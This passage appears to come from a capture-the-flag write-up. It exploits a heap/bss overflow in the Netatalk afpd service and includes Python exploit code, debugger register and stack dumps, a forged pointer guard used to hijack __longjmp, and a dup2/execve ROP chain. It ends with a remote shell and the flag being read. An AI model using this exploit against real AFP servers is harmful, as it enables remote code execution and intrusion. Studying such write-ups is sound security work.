0x00007ffd83bc4d68│+0x0020: 0x00007f76130e8358  →  0x00007f76130ec428  →  0x00007f76130e9a20  →  0x00007f76130ec170  →  0x0000000000000000
0x00007ffd83bc4d70│+0x0028: 0x00007ffd83bc4e68  →  0x00007f7612c476d0  →  0x0000001200000bb0
0x00007ffd83bc4d78│+0x0030: 0x00007f7612ecc5ad  →  <_dl_lookup_symbol_x+845> mov rdi, rbx
0x00007ffd83bc4d80│+0x0038: 0x00007f7612c4b610  →  "strerror"
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7f761246fd88 <__longjmp+8>    mov    rdx, QWORD PTR [rdi+0x38]
   0x7f761246fd8c <__longjmp+12>   ror    r8, 0x11
   0x7f761246fd90 <__longjmp+16>   xor    r8, QWORD PTR fs:0x30
 → 0x7f761246fd99 <__longjmp+25>   ror    r9, 0x11

we can see, that our cyclic pattern has overwritten the local __pointer_chk_guard, so we also control the guard value.

We now just have to prepare a fake stack somewhere, put our ropchain there, prepare the __longjmp call and should be ready to go.

This we can now do in a similar way, like I did it in the ctf. Just put everything in the username in a successful login (before overflowing), which will then be stored on bss at a known offset (in obj).

Let’s prepare our ropchain.

log.info("Do valid login to prepare ropchain on bss")

version = "AFP2.2"
uams = "DHX"	

user = "metatalk" + p64(0x0)
user += p64(0x0000000000640000) + p64(0x0000000000640000)          # put valid address here for dl_signal
user += p64(0x0) + p64(0)
user += p64(0x0) + p64(0)
user += p64(0x0) + p64(0)
user += p64(0x0) + p64(0xdeadbeef)

command = p8(AFP_LOGIN)
command += p8(len(version)) + version
command += p8(len(uams)) + uams
command += p8(len(user)) + user

send_dsi_package(DSIFUNC_CMD, 0x100, len(command), len(command), 0, command)

log.info("Overflow package data")
	
user = "metatalk"

command = p8(AFP_LOGIN)
command += p8(len(version)) + version
command += p8(len(uams)) + uams
command += p8(len(user)) + user
command += "A"*(0x101000 - 0x10 - len(command))	
command += cyclic_metasploit(4656)
command += p64(0x63d300)							# fake empty tcache arena
command += "A"*64
command += p64(0x6567b0)							# bss pointer to not crash in dl_signal (in username)
command += cyclic_metasploit(4736 - 8 - 4656 - 64 - 8)
command += p64(0x644820)							# bss address for storing errno
command += "A"*40
command += p64(0x0)									# __pointer_chk_guard_local
command += cyclic_metasploit(0x4000 - 4738 - 8 - 40 - 8)

send_dsi_package(DSIFUNC_CMD, 0x100, len(command), len(command), 0, command)

The first login command will succeed and put our username (including the ropchain) into obj on bss.

0x6567a0 <obj+512>:	0x6b6c61746174656d	0x0000000000000000 <= username
0x6567b0 <obj+528>:	0x0000000000640000	0x0000000000640000 <= fake addresses for dl_signal (errno)
0x6567c0 <obj+544>:	0x0000000000000000	0x0000000000000000
0x6567d0 <obj+560>:	0x0000000000000000	0x0000000000000000
0x6567e0 <obj+576>:	0x0000000000000000	0x0000000000000000
0x6567f0 <obj+592>:	0x0000000000000000	0x00000000deadbeef
0x656800 <obj+608>:	0x0000000000000000	0x0000000000000000
0x656810 <obj+624>:	0x0000000000000000	0x0000000000000000

Also updated the overflow payload to set __pointer_chk_guard_local to 0, so the xor will just do nothing. Changed the bss pointer to now point into our username and put two valid addresses there for dereferencing in dl_signal and thus our username will now be used in __longjmp for setting up the stack.

We only have to take care of the rol r8, 0x11 and rol rdx, 0x11.

rol = lambda val, r_bits, max_bits: \
	(val << r_bits%max_bits) & (2**max_bits-1) | \
	((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))

user = "metatalk" + p64(0x0)
user += p64(0x0000000000640000) + p64(0x0000000000640000)          # put valid address here for dl_signal
user += p64(0x0) + p64(0)
user += p64(0x0) + p64(0)
user += p64(0x0) + p64(0)
user += p64(0x0) + p64(rol(0xdeadbeef, 0x11, 64))
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x1               
$rbx   : 0x0               
$rcx   : 0x0000000001d03670  →  "symbol strerror version GLIBC_2.2.5 not defined in[...]"
$rdx   : 0xdeadbeef        
$rsp   : 0x0               
$rbp   : 0x0               
$rsi   : 0x1               
$rdi   : 0x00000000006567c0  →  0x0000000000000000
$rip   : 0xdeadbeef        
$r8    : 0x0               
$r9    : 0x0               
$r10   : 0x00007f7612ee369f  →  0x706e203d3d206900
$r11   : 0x00007f76130e8000  →  0x00007f7612c45000  →  0x00010102464c457f
$r12   : 0x0               
$r13   : 0x0               
$r14   : 0x0               
$r15   : 0x0               
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
[!] Unmapped address: '0x0'
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0xdeadbeef
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ───

Ok, rip control, now just fixup rsp and put a ret gadget into rdx to get ropping.

RET = 0x00000000004002e1

user = "metatalk" + p64(0x0)
user += p64(0x0000000000640000) + p64(0x0000000000640000)          # put valid address here for dl_signal
user += p64(0x0) + p64(0)
user += p64(0x0) + p64(0)
user += p64(0x0) + p64(0)
user += p64(rol(0x656800, 0x11, 64)) + p64(rol(RET, 0x11, 64))     # rsp / rdx
user += p64(0xcafebabe)
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x1               
$rbx   : 0x0               
$rcx   : 0x0000000001d04f10  →  "symbol strerror version GLIBC_2.2.5 not defined in[...]"
$rdx   : 0x00000000004002e1  →   ret 
$rsp   : 0x0000000000656800  →  0x00000000cafebabe
$rbp   : 0x0               
$rsi   : 0x1               
$rdi   : 0x00000000006567c0  →  0x0000000000000000
$rip   : 0x00007f761246fdd0  →  <__longjmp+80> jmp rdx
$r8    : 0x0000000000656800  →  0x00000000cafebabe
$r9    : 0x0               
$r10   : 0x00007f7612ee369f  →  0x706e203d3d206900
$r11   : 0x00007f76130e8000  →  0x00007f7612c45000  →  0x00010102464c457f
$r12   : 0x0               
$r13   : 0x0               
$r14   : 0x0               
$r15   : 0x0               
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x0000000000656800│+0x0000: 0x00000000cafebabe	 ← $rsp, $r8
0x0000000000656808│+0x0008: 0x0000000000000000
0x0000000000656810│+0x0010: 0x0000000000000000
0x0000000000656818│+0x0018: 0x0000000000000000
0x0000000000656820│+0x0020: 0x0000000000000000
0x0000000000656828│+0x0028: 0x0000000000000000
0x0000000000656830│+0x0030: 0x0000000000000000
0x0000000000656838│+0x0038: 0x0000000000000000
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7f761246fdc9 <__longjmp+73>   mov    rsp, r8
   0x7f761246fdcc <__longjmp+76>   mov    rbp, r9
   0x7f761246fdcf <__longjmp+79>   nop    
 → 0x7f761246fdd0 <__longjmp+80>   jmp    rdx
   0x7f761246fdd2                  nop    WORD PTR cs:[rax+rax*1+0x0]
   0x7f761246fddc                  nop    DWORD PTR [rax+0x0]
   0x7f761246fde0 <_longjmp_unwind+0> mov    eax, DWORD PTR [rip+0x3b1be2]        # 0x7f76128219c8 <__libc_pthread_functions_init>
   0x7f761246fde6 <_longjmp_unwind+6> test   eax, eax
   0x7f761246fde8 <_longjmp_unwind+8> je     0x7f761246fe08 <_longjmp_unwind+40>

Stack prepared, rdx pointing to ret. Well, that was a lot easier than my ctf approach (facepalm)

Now, we just have to put a dup2/execve ropchain there

RET = 0x00000000004002e1

SOCKET = 6

POPRSI = 0x000000000040c2fc
POPRDI = 0x00000000004096ab
POPRDXRBX = 0x00000000004298c7
SYSCALL = 0x000000000042245d

user = "metatalk" + p64(0x0)
user += p64(0x0000000000640000) + p64(0x0000000000640000)          # put valid address here for dl_signal
user += p64(0x0) + p64(0)
user += p64(0x0) + p64(0)
user += p64(0x0) + p64(0)
user += p64(rol(0x656800, 0x11, 64)) + p64(rol(RET, 0x11, 64))     # rsp / rdx
	
# ropchain starts here	
user += p64(POPRDI)
user += p64(SOCKET)
user += p64(POPRSI)
user += p64(0)
user += p64(e.plt["dup2"])	
user += p64(POPRDI)
user += p64(SOCKET)
user += p64(POPRSI)
user += p64(1)
user += p64(e.plt["dup2"])
user += p64(POPRDI)	
user += p64(0x656890)
user += p64(POPRSI)
user += p64(0)
user += p64(POPRDXRBX)
user += p64(0)
user += p64(0)
user += p64(e.plt["execl"])

user = user.ljust(0xf0, "\x00")
user += "/bin/sh\x00"
$ python xpl.py 1
[*] '/home/kileak/ctf/hit21/meta/metatalk/share/afpd'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled
[+] Opening connection to 18.181.73.12 on port 4869: Done
[+] Starting local process './pow.sh': pid 62988
[*] Open session
[*] Do valid login to prepare ropchain on bss
[*] Overflow package data
[*] Switching to interactive mode
\x00\xff\xff�w\x0\x00\x00\x00\x00\x00\x00\xa3��\x8d,\x94����z#~��\xb2\x07\x163\x1e\xaek    \xac\xbe\xbb\xa3բ)\x89\xff\x0fK��ɾ[p\x10\xaa\x857$\xbe:4\x9df�T΃^\xff?\xb9P���\x8e-G�R��Dv\xb8��\xabzJ\xb0b\xb1\x0c�G\xa9rٲ\xbe����ϥg\xae$\x18+\xa5\x87\x0b\�T�l\xbap\xb8j\x87k-�]]\x9a\xaf\�m�-�>](\x04j��f��ZDw��S\x07)� &_\x9f\x051\xae�#\x93\x93آ\x99LW��59W)-\xbab\xb7\xb4��O\x0c!�Qs\xab������O\xa2"\x15@�4��\xb2\x9c��\x85m\x07    �u��f�\x06ˢ\x18\x89.\x1b�J�U�ls
$ cd home/metatalk
$ ls
afp.conf
afpd
libatalk.so.18
m3ta_fl4g
uams_dhx.so
uams_dhx2.so
$ cat m3ta_fl4g
hitcon{m3tatalk_1s_A_n4xt_g3n3r4ti0n_b4ckd00r}